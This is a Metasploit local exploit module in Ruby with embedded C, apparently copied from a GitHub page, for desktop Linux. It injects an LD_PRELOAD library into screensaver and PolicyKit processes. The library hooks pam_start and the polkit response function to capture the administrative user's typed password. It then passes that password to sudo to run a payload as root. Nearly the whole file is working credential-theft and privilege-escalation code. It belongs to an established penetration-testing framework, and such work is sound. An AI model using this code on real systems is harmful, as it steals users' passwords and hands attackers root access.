Path: blob/master/modules/exploits/linux/local/desktop_privilege_escalation.rb
32411 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'base64'6require 'metasm'78class MetasploitModule < Msf::Exploit::Local9Rank = ExcellentRanking10include Msf::Exploit::EXE11include Msf::Post::File1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',19'Description' => %q{20This module steals the user password of an administrative user on a desktop Linux system21when it is entered for unlocking the screen or for doing administrative actions using22PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.23It exploits the design weakness that there is no trusted channel for transferring the24password from the keyboard to the actual password verification against the shadow file25(which is running as root since /etc/shadow is only readable to the root user). Both26screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under27the current user account to query for the password and then pass it to a setuid-root binary28to do the password verification. Therefore, it is possible to inject a password stealer29after compromising the user account. Since sudo requires only the user password (and not30the root password of the system), stealing the user password of an administrative user31directly allows escalating to root privileges. Please note, you have to start a handler32as a background job before running this exploit since the exploit will only create a shell33when the user actually enters the password (which may be hours after launching the exploit).34Using exploit/multi/handler with the option ExitOnSession set to false should do the job.35},36'License' => MSF_LICENSE,37'Author' => ['Jakob Lell'],38'DisclosureDate' => '2014-08-07',39'Platform' => 'linux',40'SessionTypes' => ['shell', 'meterpreter'],41'Targets' => [42['Linux x86', { 'Arch' => ARCH_X86 }],43['Linux x86_64', { 'Arch' => ARCH_X64 }]44],45'DefaultOptions' => {46'PrependSetresuid' => true,47'PrependFork' => true,48'DisablePayloadHandler' => true49},50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56}57)58)59register_advanced_options [60OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])61]62end6364def check65check_command = 'if which perl && '66check_command << 'which sudo && '67check_command << 'id|grep -E \'sudo|adm\' && '68check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'69check_command << 'then echo OK;'70check_command << 'fi'7172output = cmd_exec(check_command).gsub("\r", '')7374vprint_status(output)7576if output['OK'] == 'OK'77return Exploit::CheckCode::Vulnerable78end7980Exploit::CheckCode::Safe81end8283def exploit84# Cannot use generic/shell_reverse_tcp inside an elf85# Checking before proceeds86pl = generate_payload_exe8788exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf"8990print_status("Writing payload executable to '#{exe_file}'")91write_file(exe_file, pl)92cmd_exec("chmod +x #{exe_file}")9394cpu = nil95if target['Arch'] == ARCH_X8696cpu = Metasm::Ia32.new97elsif target['Arch'] == ARCH_X6498cpu = Metasm::X86_64.new99end100lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)101lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.so"102103print_status("Writing lib file to '#{lib_file}'")104write_file(lib_file, lib_data)105106print_status('Restarting processes (screensaver/policykit)')107restart_commands = get_restart_commands108restart_commands.each do |cmd|109cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file110cmd_exec(cmd)111end112print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')113end114115def get_restart_commands116get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'117get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'118get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'119get_cmd_lines << '$/=undef;'120get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''121122text_output = cmd_exec(get_cmd_lines).gsub("\r", '')123vprint_status(text_output)124125lines = text_output.split("\n")126127restart_commands = []128i = 0129while i < lines.length - 3130m = lines[i].match(/^PID:(\d+)/)131132if m133pid = m[1]134vprint_status("PID=#{pid}")135print_status('Found process: ' + lines[i + 1])136137exe = lines[i + 1].match(/^EXE:(\S+)$/)[1]138vprint_status("exe=#{exe}")139140cmdline = [lines[i + 2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")141vprint_status('CMDLINE=' + cmdline.join(' XXX '))142143env = lines[i + 3].match(/^environ:(\w+)$/)[1]144restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'145restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'146restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map { |x| '"' + x + '"' }.join(', ') + '\''147148vprint_status("RESTART: #{restart_command}")149restart_commands.push(restart_command)150end151152i += 1153end154155restart_commands156end157158def c_code(exe_file)159c = %|160// A few constants/function definitions/structs copied from header files161#define RTLD_NEXT ((void *) -1l)162extern uintptr_t dlsym(uintptr_t, char*);163// Define some structs to void so that we can ignore all dependencies from these structs164#define FILE void165#define pam_handle_t void166extern FILE *popen(const char *command, const char *type);167extern int pclose(FILE *stream);168extern int fprintf(FILE *stream, const char *format, ...);169extern char *strstr(const char *haystack, const char *needle);170extern void *malloc(unsigned int size);171172struct pam_message {173int msg_style;174const char *msg;175};176177struct pam_response {178char *resp;179int resp_retcode;180};181182struct pam_conv {183int (*conv)(int num_msg, const struct pam_message **msg,184struct pam_response **resp, void *appdata_ptr);185void *appdata_ptr;186};187188void run_sudo(char* password) {189FILE* sudo = popen("sudo -S #{exe_file}", "w");190fprintf(sudo,"%s\\n",password);191pclose(sudo);192}193194int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {195struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;196int i;197int passwd_index = -1;198for(i=0;i<num_msg;i++){199if(strstr(msg[i]->msg,"Password") >= 0){200passwd_index = i;201}202}203int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);204if(passwd_index >= 0){205run_sudo(resp[passwd_index]->resp);206}207return result;208}209210int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {211static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);212if(!orig_pam_start){213orig_pam_start = dlsym(RTLD_NEXT,"pam_start");214}215struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));216my_pam_conversation->conv = &my_conv;217my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;218return orig_pam_start(service_name, user, my_pam_conversation, pamh);219}220221void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {222static void *(*orig_polkit_agent_session_response)(void *session, char* response);223if(!orig_polkit_agent_session_response){224orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");225}226run_sudo(response);227orig_polkit_agent_session_response(session, response);228return;229}230|231c232end233end234235236